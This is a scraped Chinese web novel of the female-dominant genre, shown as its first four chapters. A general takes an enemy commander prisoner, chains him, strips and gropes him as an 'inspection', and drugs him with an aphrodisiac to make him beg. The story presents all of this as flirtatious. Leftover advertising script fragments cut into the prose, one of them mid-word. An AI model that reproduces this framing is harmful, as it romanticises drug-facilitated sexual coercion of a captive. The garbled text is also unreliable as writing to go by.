《熔了佩剑,做副锁链(女尊)》 1. 战俘 今夜,漠北漫天风雪呼号,连零星月光都透不下来。 但姜家军大营外火炬常明。 大营内众人推杯交盏,不亦乐乎。 这场仗打了足足半年,十分艰难。 晋国雌鹰大将军姜守烛带领十万大军,本该在半月之内以摧枯拉朽之势扫平敌军,然敌军将领竟然用一手游击战将战败定局硬生生拖了半年。 虽然结果一样是大胜,但姜守烛这半年可不好过,她前期经常带着大军直奔战场,却不见敌军一人,转头却被偷袭,还好她的兵和她一样骁勇,即使前期败退,也没有伤到几分。 于是她不得不重新研究敌军的战术,主要是研究敌军这个狡兔三窟的主将——嬴芜荼。 她是白天想,夜里想,做梦也想。 不对!梦里想的不是战术! 姜守烛使得一手重剑,她曾和嬴芜荼正面交手三次。 第一次,她一剑挑飞嬴芜荼头盔,嬴芜荼如瀑的长发随风飘扬。 马上的二人都呆了一瞬。 姜守烛从未想过,重重盔甲包裹下的嬴小将军竟然生得如此貌美,而他长发被打散那一瞬间,流露出的神态是在……娇羞? 但姜守烛仅呆了一瞬,下一剑砍得嬴芜荼人仰马翻。 这一场,嬴芜荼还是逃了,他的倩影在战场硝烟中“烟消云散”了。 他事先挖了一条地道,带领士兵逃入地道后,地道自动坍塌,虽然逃得丢盔弃甲,还好保住一条命。 当夜,姜守烛就做了奇怪的梦。 她梦到将嬴芜荼压在身下,她一只手粗|暴地揪住嬴芜荼的长发,强迫他抬起头直视自己。 她看到嬴芜荼颤|抖的眸子里盛满了泪,还看到嬴芜荼的红唇微张,在嘟哝着什么。 她俯身贴耳去听…… “轻点……求你……” 姜守烛终于意识到自己在做什么了! 她惊醒了! 疯了,真是疯了! 嬴芜荼是谁?是她的敌人!是让她人生二十年初尝败绩的敌人! 虽然是小败,败在被出其不意打得措手不及。 但姜守烛从不给自己的失败找借口,她一定要打败嬴芜荼! 所以今夜为什么会做这个奇怪的梦? 嬴芜荼明明是个女人。 甚至连半分小男人样儿都没有。 姜守烛其实并不是重欲的人,难道是离家打仗出来太久,随军也没带上家里那些小侍,心里苦闷? 但比这离家久的日子还有,怎么偏偏这次做奇怪的梦? 她从来都不沉迷这事啊。 姜守烛气得拖着重剑走出大帐,即使天还没亮,她就在营地里疯狂练剑。 这五十斤的重剑舞起来虎虎生风,但姜守烛的耳边还是不断回放着梦中嬴芜荼的喘|息声,还有那声求饶的——“轻点”。 重剑狠狠插|入地面,姜守烛用袖子擦了擦额头上的汗。 为什么是“轻点”? 她家里有四个小侍,各个都是娇弱美男,有母亲看中给她娶的,也有陛下赏赐的,她偶尔兴起会叫来临幸,但她粗手粗脚惯了,在这方面更是如此。 也就是说,她只顾着自己爽,并不在乎别人感受。 即使娇弱美男求饶,她至多就是嘴上哄哄,但绝不会停。 姜守烛从回忆中抽离,手握住重剑的剑柄,将重剑从土地里抽出,细碎的土壤随着剑尖抽离的动作而松动外溢,她此刻心里在想: 若真是和嬴芜荼做那事,他也会求饶吗? 他又不娇弱。 他看起来可坚韧得很呢! 姜守烛并未将此事告诉任何人,因为她觉得丢人。 军规本就规定任何人都不许带男人,防止扰乱军心。 姜守烛以身作则,她就当这梦没做过。 直到第二次和嬴芜荼交手。 她骑马将嬴芜荼逼到山崖,一剑劈向嬴芜荼的盔甲。 嬴芜荼那身盔甲四分五裂,露出他里面贴身的金丝软甲,还有他细长脖颈上的一圈圈……纱布? 嬴芜荼一个女人为什么缠颈? 向来只有小男人才会缠颈,因为男子喉结是隐私,非妻主不能看。 就在姜守烛以为这次能终结战役时,嬴芜荼通过事先准备好的索道滑走了。 索道不长但速度很快,嬴芜荼缠颈的纱布被风吹飞,像是一条丝带在向姜守烛招手。 等姜守烛翻身下马,提剑砍断索道时,嬴芜荼已经捂着脖颈逃之夭夭了。 竟然又让他给逃了! 不过这一场仗打完,嬴芜荼败势已定,他仅剩三千精兵了。 从人数上来说,只要姜守烛把这座山围起来,不断缩小包围圈搜山,捉到嬴芜荼简直就是瓮中捉鳖。 她要活捉! 当夜,她又做了奇怪的梦。 梦里,她将嬴芜荼缠颈的纱布一圈圈拆开,虽然嬴芜荼百般反抗,但他根本不是姜守烛的对手。 就在最后一圈纱布即将从白皙的脖颈肌|肤上滑落时,嬴芜荼突然自己掐住脖子,他宁可将自己活活掐死,也不肯让姜守烛看到。 真是烈啊。 姜守烛轻松掰开嬴芜荼的手,她还是看清了。 嬴芜荼,竟然长了男人的喉结! 梦的后半程,就是姜守烛一手掐着嬴芜荼的脖颈,一边狠狠做快乐的事。 她当然力大无穷,掐得嬴芜荼直翻眼白,几次陷入濒死,又被狠狠拉回。 直到荒唐梦醒。 姜守烛感觉自己不对劲,她怀疑自己被这个狡诈的嬴芜荼下迷魂药了,她叫来军医给自己看病。 她没中毒也没病。 第三次交手,便是今日凌晨。 姜守烛从山水地形终于分析出了嬴芜荼及其残兵的藏身之处。 嬴芜荼败局已定,姜守烛只需守株待兔。 当嬴芜荼所有退路都被封死,他只能缴械投降。 投降时,嬴芜荼卸下盔甲,披头散发,双手将自己的佩剑捧到头顶,赤脚踩在雪地里,只穿着单薄里衣,一步步向着姜守烛走去。 姜守烛就这样骑在高头大马上,居高临下看着这只狡猾的小兔子向她走来。 嬴芜荼低着头,他的视线里白茫茫一片,不争气的泪水顺着脸颊滴落在雪地里,留下一个一个小坑。 终究还是败了,终究还是打不过她。 嬴芜荼即使跪在她的面前,也还是挺直脊背,他的声音虽然颤抖,但仍旧努力高喊:“我已投降,求姜将军留我的士兵们一命。” 语毕,不等姜守烛回应,他突然仰起头,手中短剑出鞘。 剑刃锋芒闪过时,骑在马上的姜守烛已经拉满了弓,箭上寒星正对准嬴芜荼的眉心。 她就知道狡诈的嬴芜荼不会这么轻易投降。 她不想就这么射杀嬴芜荼,她想活捉。 但下一刻,嬴芜荼并未如她所料那般上前刺杀,而是选择用剑刃对准他自己的脖颈。 他准备自杀! “嗖”的一声,箭离弦而出,只是偏了一分。 没奔着他的眉心,而是掌心。 这一箭射穿了嬴芜荼的右手手掌,他手中短剑飞入积雪,消失不见。 姜守烛放下弓,她耳边还回荡着弓弦余音,她从马上一跃而下,朝着嬴芜荼步步走近。 “你是我的战俘,你没有我的允许,还不许死。” 此时,突然天降大雪,纷纷扬扬的雪花席卷天地。 雪花 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 落入火把,眨眼间消失不见。 嬴芜荼眼看着和他苦战半年的宿敌要走到他的面前,他低下头,看着被箭刺穿的掌心,掌心处还在流血,滴滴鲜血落在雪地上,像是朵朵绽放的红梅。 嬴芜荼摇头,他冷笑一声,突然用手上这支箭狠狠刺入自己胸膛。 姜守烛鹰眼如炬,她当然看到嬴芜荼的动作了,她本以为嬴芜荼想殊死一搏,她都做好将人一脚踹飞的准备了,但是却没想到,嬴芜荼是铁了心要死! 嬴芜荼呛出一大口血,他含糊着声音,只念了三个字:“姜……守……烛……” 咬牙切齿。 是货真价实的字字泣血。 他临死也要记住这个打败他的女人的名字。 姜守烛很少喜形于色,她的脸上看不出喜怒,只叫军医立刻为嬴芜荼止血治伤。 她知道嬴芜荼死不了,那支箭刺穿了嬴芜荼的右手,他的手已无多少力气,这伤也不算重……吧? 眼下已是后半夜,姜家军的庆功宴从下午一直摆到现在。 刚才姜守烛派人去问,军医答复嬴芜荼还没醒过来。 总不会真的死吧? 姜守烛心不在焉地把玩着手中的这柄短剑。 这是嬴芜荼的佩剑,通身玄铁打造,吹毛断发,是她差人从雪地里找回来了。 此时又有士兵前来敬酒,姜守烛放下短剑,举杯饮尽。 空杯重新被斟满酒,军医此时从大帐门口跑进来,俯身在姜守烛耳边低声说:“将军,那人醒了,但是……” 军医支支吾吾,面露难色。 姜守烛追问:“但是什么?” 总不会又寻死吧?还是逃跑了? 不是已经命人将嬴芜荼用锁链铐起来了吗?都伤成那样了,他还能如何? 军医一咬牙,将声音压得更低,只有她们两个能听见。 “他……他是个男人!” 桌案上的酒杯翻倒。 姜守烛突然站起。 营帐内众人顿时停下推杯交盏,皆是看向她。 姜守烛顺手将那柄短剑插入腰间,神色如常地说:“你们继续吃喝,我出去醒醒酒。” 姜守烛走出大帐时,发现风雪比来时更大了,她迎着风雪走向安置嬴芜荼的营帐。 什么风雪都拦不住她。 营帐的帘子掀开,风雪先姜守烛一步呼呼灌入,吹得帐内的炭火几乎熄灭。 姜守烛挥手,示意看守的士兵先出去。 她一向不喜形于色的脸上,此刻多了几分……复杂的情绪。 有三分震惊,三分敌视,三分喜悦,还有一分……欣赏。 她一手把玩着那柄短剑,一边步步朝着软塌走去。 嬴芜荼的手腕脚腕被四条铁链分别锁在床头的柱子上,下半身穿着亵裤,上半身不着寸缕,也是着的,半边胸膛被纱布层层包扎起来了,其余皆是裸|露在外,尤其脖颈上凸起的喉结,更随着身体主人的紧张吞|咽而上下移动。 姜守烛已经走到软塌前了,她带有侵略性的目光赤|裸裸地将嬴芜荼从上到下、从里到外,全部看了个遍。 嬴芜荼想要躲开这目光,他想要蜷缩起来,但他的挣扎,除了让铁链哗啦作响之外,别无他用。 他绝望地闭上眼,低头缩肩,想要让身上裸|露的部分少些再少些。 下一刻,姜守烛伸手捏住嬴芜荼的下巴,强迫他抬起头,当她的指|尖轻轻抵在嬴芜荼的喉结上时,她感受到手中的人在颤|抖。 “你在怕啊?听说你是男人?让我验验身……” 姜守烛的话音未落,指|尖顺着喉结还没摸到胸膛,她突然闷哼一声。 因为她的手被咬住了。 被嬴芜荼咬了! 2. 验身 姜守烛先是一个肘击打中嬴芜荼的下巴,随即大手掐住他的脖颈,下一刻,她又放开了手。 骤然被咬,她当然下意识还手反击,但她一瞬间就意识到,嬴芜荼是想寻死。 她抬起手,低头看着手背上的半圈牙印,她突然笑了,这一口下去,连皮都没破。 这也叫反抗吗?简直就像在撒娇。 就是……这两颗小兔牙的痕迹,印在了她的手背上。 她顺势坐在床边,明晃晃的目光重新看向嬴芜荼。 嬴芜荼正大口大口喘|息着,他被那一下打得眼冒金星,现在下巴也脱臼了,连嘴都闭不上。 向来不喜形于色的姜守烛此刻脸上多了几分笑意。 “嬴……芜……荼……” 姜守烛一字一顿重新念了他的名字,仿佛是将这三个字在嘴里嚼来嚼去,狠狠品尝一下滋味。 嬴芜荼更激烈地挣扎起来,他口中不断“呜呜”叫着,可他的下巴脱臼,连一个字都说不出来。 “怎么?阵前自戕时,你不是也念了我的名字?现在我念回来,就这么激动?我从未想过,你竟然是个男子,我也从未见过如你这般狡诈的男子。” 姜守烛还从没被男人骗过,她平生只见过两种男人,一种如她爹爹那般慈祥温顺,一种如她小侍那般乖巧驯服,她没想到,这世上竟然还有第三种,真是个特别的异类。 她对嬴芜荼十分感兴趣,很想深入了解一下。 嬴芜荼拼命在床上扑腾,四条锁链响个不停,若非这床榻结实,怕不是要被他晃散架了。 “你想说话?”姜守烛说完,却没给嬴芜荼回答的机会,她起身去门口的烛台上,将正在燃烧的蜡烛取下,又重新走回来坐下,笑着说:“我还是得亲自验验,万一她们搞错了呢?为了防止你又咬人,在我验完之前,你也就只能张着嘴呻|吟喽。” 嬴芜荼又羞又气,他想反抗,可他的手腕都因为剧烈挣扎而被锁链磨红;他想骂人,可他连一个字都说不出来;他甚至想咬舌自尽,可现在连嘴都闭不上。 他明明是在痛苦叫嚷,可这声音到了姜守烛的口中,就变成了……呻|吟? 简直是在羞辱他! 可这才哪到哪? 姜守烛的指|尖轻抵在嬴芜荼凸起的喉结上,顺着脖颈往下移动,她的指腹摸到结实的胸肌,指腹在这里停留,戳了两下。 “结结实实,练得不错,怪不得能两次在我的手下逃走,倒也不是个绣花枕头。” 此话一出,正在拼命挣扎的嬴芜荼顿了一下,他是被……夸了? 这还是他平生第一次被女人夸。 可这女人,是他的敌人。 如今他是她的俘虏。 “怎么不叫了?”姜守烛视线上移,重新看向嬴芜荼的脸,看到他目光迷离,仿佛在出神。 她有些恼了,她是在验身,而她的手下败将在干什么? 她很乐意品尝他被验身的反应,可他此刻的反应,让她没看懂,所以她不高兴了。 于是她的手指避开包扎好的伤处,一把掐住嬴芜荼的胸肌,狠狠一扭。 “呜——”嬴芜荼发出嘤咛一声,胸口的疼痛将他复杂的思绪抽回,他疼得眼泪夺眶而出。 姜守烛将烛火也凑近他的脸。 火苗在嬴芜荼的眸子里跳跃,同时闪动的,还有她的影子。 姜守烛质问:“回答我,你刚才在想什么?” 在想什么? 他在想自己平生第一次被女人夸奖,却竟然是在这种境遇之下。 他人生十八年来,男扮女装,混迹在全是女人的军营里,一路过关斩将,凭借出色的头脑,终于获得陛下赏识,可他的国已经日薄西山。 这一路走来,其中诸多艰险不易,在被姜守烛围剿的半年里,他枕戈待旦,没有一日安宁,他也从没过什么安宁日子,更别提一句……夸奖了。 他怎么可能将这样的话,说给敌人听呢? 他闭上眼,这是他此情此景之下,仅有的抵抗了。 “哦忘了,你现在说不了话。”姜守烛用另一只手捏住他的下巴,本想帮他接过来,她却停了一下,突然笑着说:“才发现,你的舌头也是粉粉嫩嫩的。” 嬴芜荼又被气得瞪圆了双眼。 这女人就是要羞辱他! 如果眼神能杀死眼前的人,他已经将她杀了千千万万次。 可他不能,他甚至连舌头都没处躲藏,就这么明晃晃地被她看光光,被她轻薄的言语调戏。 “有趣。”姜守烛帮他接上了下巴,重新问:“现在回答我。” “杀了我!”嬴芜荼的嗓音沙哑,他只有三个字。 他又想咬舌自尽了,但他在姜守烛来之前就试过了,根本做不到。 如今脑袋又重重挨了她的一拳,更是没什么力气了。 姜守烛轻笑一声,反问道:“你若是真一心寻死,为何不在投降之前就死?故意来我面前自尽,是不是为了做戏给我看?” 嬴芜荼本来是恶狠狠地盯着她,听完这话,他又移开视线,看向她手中的烛火,盯着火苗看得久了,眼睛酸涩。 其实是又流泪了。 他不是为了做戏,他本是想趁投降时刺杀她的,可当他走到她面前时,他意识到,他根本不是这个女人的对手。 刺杀,一定会失败,而且他仅剩的三千精兵,也活不下来。 所以他决定自杀。 可还是失败了。 如今落到如此求生不得、求死不能的境地。 这其实只是原因之一,还有一个原因是,他被姜守烛围剿这半年来,夜夜都能梦到她,全都是奇奇怪怪的梦。 他十八年来,男扮女装活得异常艰险,他从未和任何女子亲近过,却被姜守烛打散长发,又劈碎盔甲,他对她的感情十分复杂,他就是想死在她的面前。 临死,也要溅她一身血! “不说话,我就当你承认了?你还真是个有趣的男人。”姜守烛往下挪了挪,她的指腹接上刚才停留的“痕迹”,摸上他的小腹。 “别……” 声音带着气音,在求饶。 姜守烛没停,她想起第一次做的奇奇怪怪的梦,她的指腹继续在他的腹肌上摸了一圈,评价道:“腹肌紧实,真是很难想象,你要是怀孕大个肚子,会是什么光景。” “别说了……求你……” 嬴芜荼不想听,他只想死! 当他某衣物的边缘被勾住时,他彻底绝望了,整个人如同坠入深渊。 姜守烛微微挑眉,她笑出了声,又收回手。 还真是货真价实,也尘埃落定。 “你还真是个男人啊。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 姜守烛的手重新摸上他的脸,摸到他的脸都是冰凉的,跟个死人一样。 他人是活的,但心已经死了。 “和你的舌头一个颜色。” 嬴芜荼被气得一哽,这下连活人气儿也没了。 “怎么一点反应都没有?”姜守烛伸手去探他的鼻息,同时说:“该不会被气死了吧?气性这么大?” 她当然是故意气他玩的。 她发现,看到嬴芜荼的反应,竟然比她打了胜仗还要有趣。 当她的手指重新凑到他的鼻下时,她又立刻收回来了。 因为嬴芜荼又张嘴要咬人,但他咬了个空,上下牙齿撞在一起,他只能咬到她的“笑声”。 “哈哈哈……这么爱咬人啊?”姜守烛重新抬起右手,欣赏手背上那半圈牙印,她欣赏过后,又捏住嬴芜荼的两颊,逼迫他张嘴,“还真有两颗小兔牙,你狡兔三窟,逃了一次又一次,不如以后我就叫你小兔子吧,怎么样?” “姜……守……烛……”嬴芜荼咬牙切齿念着,“你给我个痛快吧!” “不行!你是我的俘虏,你的命运,只能由我安排,让我想想,我先做点什么好呢?” 姜守烛以前见惯了温顺的小男人,此刻越是见到嬴芜荼抵抗,她的心里就越是生起一股征服的欲望。 明明都是她的俘虏了,还这么倔强,真是有脾气。 她更感兴趣了。 “姜守烛!”这是嬴芜荼第三次唤他的名字,他几乎是吼出来的,“士可杀不可辱!你……” 话没说完,帐外突然响起一声通报。 姜守烛将脸上戏谑调笑的神色全部收敛起来,再看向门口:“进来。。 副将掀开帘子走进来。 姜守烛见副将神色就知道有要事,她立刻将手中的烛台放在床头,再起身走过去。 副将在姜将军的耳边低声说:“将军,发现敌国五皇子的踪迹了。” “整队!出发!”姜守烛头也不回地走出营帐。 敌国皇室全都抓到了,就剩下这个五皇子跑了。 敌国五皇子生得貌美,陛下特意交代,要姜守烛尽量抓活的带回去,所以姜守烛今晚酒都没敢多喝,就为了留着力气去捉人。 眨眼间,姜守烛带着队伍向西而去,她其实心里还念着刚才那只寻死觅活的小兔子,但不急。 心急吃不了热兔子。 反正人也逃不掉。 等一个时辰后,姜守烛将五皇子亲手带回大营,吩咐下去:“好生安顿着。” 姜守烛下了马,眼下时辰已快到子时,刚才还没和那小兔子说完话呢,她拍了拍身上的雪,掀开营帐的帘子,才走近一步,却发现……床榻上空无一人! 只余四条被撬开锁的锁链。 姜守烛几步上前,她拿起看到床上这一块一块的东西是……蜡? 再回想起临走之前,她将烛台随手放在床头。 难道是嬴芜荼咬碎了蜡烛,用烛台的灯芯撬开的锁? 这也行? 姜守烛脸上浮现出笑意,一想到嬴芜荼为了撬锁逃跑而一口一口咬碎蜡,她就忍不住想笑。 但是等会儿再笑,她得先把人抓回来! 真是不听话的小兔子,方才寻死觅活又心如死灰的模样果然都是为了让她放松警惕。 她觉得更有趣了。 3. 硬骨头 太冷了。 嬴芜荼被冻得上下牙直打颤,他躲在一处矮坡后,用床单裹住身体,将身体缩得小些,试图能留住一些温度。 再这样下去,别说逃走了,肯定会先被冻死的。 可他能逃到哪去呢? 军营都选在视野开阔的地方安营扎寨,他已经在雪地里走了半个多时辰,但一抬头,还是能看到姜家军大营的火炬常明。 他本想偷一匹马骑走,但马厩里看守的士兵实在太多,他能一个人逃走已是不易。 “嘶……” 风雪变大了,嬴芜荼的眉眼上都落了一层霜。 实在太冷了。 他拖着带伤的身体,走出这么远,实在走不动了。 现在浑身冰凉,估计到不了天亮就会冻死了。 嬴芜荼握了握手里的灯芯,他从来都不想死的。 三岁那年,姐姐意外病死,身为鳏夫的爹爹害怕族亲将他们孤儿鳏父赶走,爹爹便让他男扮女装,假扮姐姐,也上了几年私塾,读书识字,十四岁那年,爹爹也病死了,他正好赶上招兵,便投身军营。 他本以为自己和寻常男子的命运不同,不用嫁妻生女,可如今还是落得个被冻死的下场。 他的视线看向远方,看着那女人军营里的火光。 好冷啊…… 他的眼前仿佛又出现了那女人的身影。 他知道这是幻觉。 他喃喃自语了一声,随即倒在雪地里。 他最后念的,是姜守烛的名字。 —— 姜守烛很轻易就找到了嬴芜荼,她身上穿着一件狐狸大氅,手里还拿着一件。 军营方圆十里都是开阔地,雪虽然还在下,但雪地里的脚印还是能分辨出嬴芜荼逃跑的方向。 甚至从脚印能看出,一开始他还是一步步走的,后面就是连滚带爬了。 估计是没什么力气了。 姜守烛走到嬴芜荼的面前,蹲下|身,勾唇一笑。 她就知道这人还活着,她根本就不担心嬴芜荼会寻死,若是想死,直接拿灯芯自尽不就行了?何必跑出来? 跑也没用。 他永远都逃不出她的手掌心。 姜守烛将冻僵的人用大氅包起来,搭在马上,随即翻身上马,“打猎”归来。 她骑得快了些,到底还是怕人真的冻死了。 她和这只狡诈的小兔子斗了半年之久,她还没玩够,人怎么能死? 回到军营,姜守烛下令烧水再搬浴桶来。 嬴芜荼在热水里泡了半个时辰,逐渐睁开眼睛。 他第一眼看到自己没死。 第二眼,他看到了那个女人。 那女人正坐在不远处,烛光明明暗暗落在她的脸上,她正在灯下削一颗梨子。 等等,那削梨的刀不正是他的那柄短剑吗! 这柄短剑是父亲留给他的遗物,本以为白天阵前被打飞后,就遗失在茫茫雪地里,没想到最后落入她手。 他来不及思考刀的处境,他现在得想想自己的处境。 “偷看了这么久,看出什么门道来了?”姜守烛削好了梨子,她放下短刀,一步步朝着浴桶走过来。 原来早被发现了。 嬴芜荼往水下缩了缩,他不敢回答。 姜守烛将梨子递到嬴芜荼的面前,命令道:“吃了。” 嬴芜荼倔强地扭开脸,他的脸色有些红,是热气蒸腾,熏的。 “怎么?还想绝食啊?其实你从来都不想死,我全都知道,我是个心善的人,向来不喜欢强人所难,如果你顺了我的心意,我可以考虑不杀你的兵,毕竟我们陛下给我的旨意是,只需带你嬴国陛下和五皇子两个活口回去就行,所以她们的生死,全都看你的表现。” 嬴芜荼一寸一寸扭回头,视线从递到面前的梨子,再到她的脸,看她一脸认真,他追问:“真的?” “我耐心有限。” 嬴芜荼慢吞吞地将手从水里拿出来,他接过那颗削好的梨子,他不敢吃,他小心翼翼地问:“你想怎么处置我?” 他确实不想那沦为俘虏的三千人死,这些都是和他出生入死的姐妹。 尽管,若是那三千人知道他是男人,是否还认他为姐妹还是两说。 “先把梨吃了。”姜守烛拖着椅子过来,坐在浴桶边,一只手还撑在浴桶边缘,手掌拄着下巴,饶有意味地看着他。 像是在逗一只可爱的毛绒小狗。 嬴芜荼小心地闻了闻,梨子的味道正常。 “你立字据,只要别杀俘虏,我任你处置。”嬴芜荼竟然开始讨价还价了。 姜守烛一下笑了出来,“到底是小男人,还是这么天真,就算立了字据,我若毁约,你能奈我何?快把梨吃了,这可是我亲手削的。” 当然是她亲手削的,毕竟这梨子泡了药水,外皮都变成蓝色了,看着就吓人,所以她才把皮削了,她可从来都不是贴心的人。 只是不想过早戳穿,要不然就没意思了。 逗他玩,就是最有意思的事。 嬴芜荼抿了抿唇,他当然知道自己没有资格讨价还价。 他张嘴咬了一口梨子,清脆爽口,他嚼了嚼咽下,眼泪又一次喷涌而出。 他从凌晨时被活捉,到现在滴水未进,肚子里饿得不轻,又带伤逃出那么远,如今被这女人捉回,她非但没有打骂虐待,反而把自己救活,还给了梨子吃。 还是她亲手削的梨子! 他何德何能,能吃到她亲手削的梨子。 他平生还从未被女人如此照顾过,可为什么,这个女人偏偏是他的仇人。 “怎么还吃哭了?” 姜守烛觉得奇怪,嬴国五皇子跟她说,这药泡在水果里,全都浸入果肉中,是没有味道的,难道是这颗梨又苦又涩?把人难吃哭了? 嬴芜荼听了她的话,心头一动。 她是在关心吗? 他现在心里矛盾,他又恨她,又忍不住对她产生几分异样的情愫。 真不该如此啊。 “你打算怎么处置我?”嬴芜荼没回答自己为什么哭,他只想知道,这女人对他如此优待,到底是想要做什么? “你猜我会怎 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 么处置你?”姜守烛看着他小口小口吃着梨子,嚼的声音清脆,更像一只小兔子了。 就是……这是一只会咬人的小兔子,十分不听话,得好好教教。 “我……我硬邦邦的,不像那些男子身娇体软,我不好玩的,你别那样对我行吗?”嬴芜荼小心观察着她的脸色,生怕自己说完这话,她就真的扑过来了,毕竟她验身时做的事,说的话,都表明了她的态度。 而且,若非是她起了那般心思,为何不直接杀了他?还留到现在? “在你眼里,我就是那种女人啊?” 姜守烛调笑着刚说完,就见到嬴芜荼手中没吃完的梨子突然坠入水中,随着水花飞溅,他的脸颊上晕染出一层粉色。 “你……”嬴芜荼觉得腹中火热,这股奇怪的感觉还往下游走。 既然药起效了,那姜守烛就不装了。 “你猜对了,我就是那种女人。”姜守烛说着,将手伸进浴桶里,用手舀起一捧水,从嬴芜荼的头顶浇灌而下。 这下,嬴芜荼的脸上更显狼狈了,他不断喘|息着,难捱得在水里扭来扭去,两只手死死抓住浴桶边缘,像是一只蹦跶上岸,又跳不回去的鱼。 “卑……鄙……”嬴芜荼咬牙切齿说出两个字,随即矮身钻进水里。 姜守烛又将手伸进水里,掐着嬴芜荼的后脖颈又将人捞出来,她看着那张红透的脸,笑道:“兵不厌诈,要说下药这事,你曾混进我军中,在马槽里下药,毒死我十匹战马,这笔账还没找你算呢。而且这可是你们嬴国皇室的秘药,是你们皇子主动给我的,他拿这包药,换了一碗肉汤呢,我思来想去,这药还是让你试试看吧。” “卑鄙无耻……不要伤害五殿下……”嬴芜荼此刻药效发作,都自身难保了,还惦记着别人呢。 “还能撑啊?你家五殿下说,起药效后,再坚强的男子都撑不过十个数,所以你怎么还不动作?” 姜守烛下了结论,她就知道这只狡诈的小兔子可坚韧得很呢! “我绝不……”嬴芜荼的指甲狠狠抓着浴桶边缘,连指节都变白了,可见用力之深。 “或者你也可以求求我,说不准我大发善心,帮你脱离苦海。”姜守烛气定神闲,脸色惬意,神情轻松,和面前的嬴芜荼完全不同。 “休想……我绝不会求你……卑鄙小人……啊……哈……” 嬴芜荼感觉自己仿佛被架在火上炙烤,浑身难耐得很,欲望无法纾解,只剩下无尽的折磨。 他心里恨极,方才见她亲手给自己削梨,还心生感动,毕竟从来没有女人这样体贴地对过他,而这一切却原来都是为了耍他! 明明她可以直接霸王硬上弓,但偏偏用这种方式,不就是为了让他自己求吗? 他绝对不会做那种摇尾乞怜的狗。 他咬牙切齿地念:“我一定要……杀了你……一定……” “随时恭候,我很期待。” 姜守烛真没想到,这只小兔子竟然这么硬气,都已经过去半柱香的时辰了,他竟然还没求她,甚至还能放狠话。 她笑意更甚,也更感兴趣了。 4. 不听话 一盏茶的时间过去了,姜守烛没能如愿。 她眼睁睁看着嬴芜荼强撑着,最后什么都没发生。 浴桶里的水已经凉了。 药效也结束了。 嬴芜荼在水里打着哆嗦,他的双手抱着前胸,只有脑袋漏在水面外,他的眼睛通红,以一种仇视的目光盯着眼前的女人。 “真可惜。”姜守烛站起身,拍了拍手上不存在的灰尘,顺手将嬴芜荼的短刀插|进腰间,她用眼神示意了一下桌子,命令道:“自己穿上。” 桌上放着一身衣裳,这衣裳薄薄一层,也就只能简单遮蔽身体。 嬴芜荼见这女人丝毫没有回避的意思,他咬着牙从水里爬出来。 胸口的伤被水泡得发红,他忍着疼,一声不吭。 当他刚要踩到地面上时,营帐传来一阵骚动。 姜守烛本来眼神直白地盯着人,但听到外面的声音,她当然知道轻重缓急,立刻出去查看。 嬴芜荼趁此时机,用最快的速度蹿到桌前,他发现这桌上不光有身衣服,还有一块布巾,他囫囵两下将身体擦干,飞速穿上衣服。 就是鞋子不见了,他只能赤着脚踩在地上,他刚躲到门口,就见到那女人掀开帘子进来。 嬴芜荼本是想要溜出去的,没想到她这么快回来,迎面被撞上,他下意识伸臂出拳…… 这一拳,被姜守烛一手拦住。 她的手掌包住嬴芜荼进攻的拳头。 两方角力,嬴芜荼当然不是她的对手。 “真是不听话,一眼看不住就要咬人。”姜守烛转而掐住嬴芜荼的手腕,扛起人丢回了床上。 嬴芜荼被摔得恍惚一下。 “自己锁上。”姜守烛眼神示意了一下床头。 那里摆着四条锁链,比之前锁他的更粗,这回可是撬不开的。 “别逼我亲自来,要是我动手,就不是这么简单了。”说话间,姜守烛还看了一眼门外的方向,她还惦记着外面的事,但是得先回来把这只狡诈的小兔子锁起来,省得又跑了。 嬴芜荼看出外面出事了,他虽然恨她,恨不得立刻杀了她,但现在这点反抗根本没有用,他受了伤,又冻得半死,刚才还被下了药,连一拳都打不到她,所以眼下还是识时务,先听她的吧。 而且看起来,她现在也不打算做什么。 “咔嚓”几声,嬴芜荼把自己的手腕脚腕重新锁好,全都铐在床头的栏杆上。 姜守烛转身就出去了。 外面的骚乱已经平息了。 方才有三个俘虏越狱而出,被巡逻的士兵发现。 有两个俘虏动作快些,都跑出几十米了,皆是被箭射死,还有一个跑得慢些,被活捉回来。 这本就是姜守烛的命令,发现俘虏出逃,无需上报,即刻斩杀。 出逃不是小事,别说俘虏了,就是她姜家军的士兵若是做逃兵,也是立刻斩杀。 陛下给她的命令本就是只带两个活口回去,她现在多耗费粮食养着这三千俘虏,粮食得从她的私账上扣,是不能报给陛下的。 第三个俘虏被五花大绑丢到地上,她自知必死无疑,对着站在面前的姜守烛破口大骂。 姜守烛一挥手,就有人上前用布塞住这个俘虏的嘴。 副将看着姜守烛的神情,等着将军一声令下,就按照军规将出逃的俘虏斩杀。 但姜守烛突然有了个主意。 “你们都退下吧。”姜守烛说完,大手捏住俘虏的肩,将人一路带走。 其实她认出这个俘虏是谁了。 这是嬴芜荼的一个副将,在一次围剿时,她站在高处拉弓瞄准了嬴芜荼,那一箭很准,但是却被这个副将一个转身挡了箭。 没想到这个副将还活着,想来正是那一箭射伤了她,所以刚才三人出逃时,她拖着伤身也没能跑出几步。 姜守烛没想到有人的身手如此之快,竟然能挡住她的箭,所以她对嬴芜荼身边这个副将记忆很深,其实她是个惜才的人,可惜立场不同,今晚这个副将只能死了。 姜守烛拖着这个副将来到关押嬴芜荼的大帐门口,掀开帘子之前,她心里在想,也不知道小兔子又在做什么。 不过这回被锁得牢牢的,总不会又逃跑吧。 帘子掀开的同时,锁链声也响起了。 是嬴芜荼仰着头往门口看来,他落入这样的境地见有人来,当然惊慌失措,但等他看到门口的人,他挣扎着坐起来。 “姚副将,你……”嬴芜荼刚开口,又不敢继续说下去了。 见着姚副将被五花大绑又被塞住嘴,以这种模样被那女人带进来,他心生不妙。 姜守烛就知道自己没记错人,她按着姚副将的肩,让人坐在地上,这个距离不远不近刚刚好,正好能让嬴芜荼看得清楚,也让嬴芜荼的锁链范围够不到这里。 姜守烛拖过椅子坐下,她轻笑了一声,因为她看到嬴芜荼的脖颈上围了一圈布,竟然是他撕了一截袖子自己围的。 这个嬴芜荼也真是……都落入这种境地了,全身上下早就被她看光光了,还惦记着他不能被外女看到的隐私,也不怕冻到手臂吗? 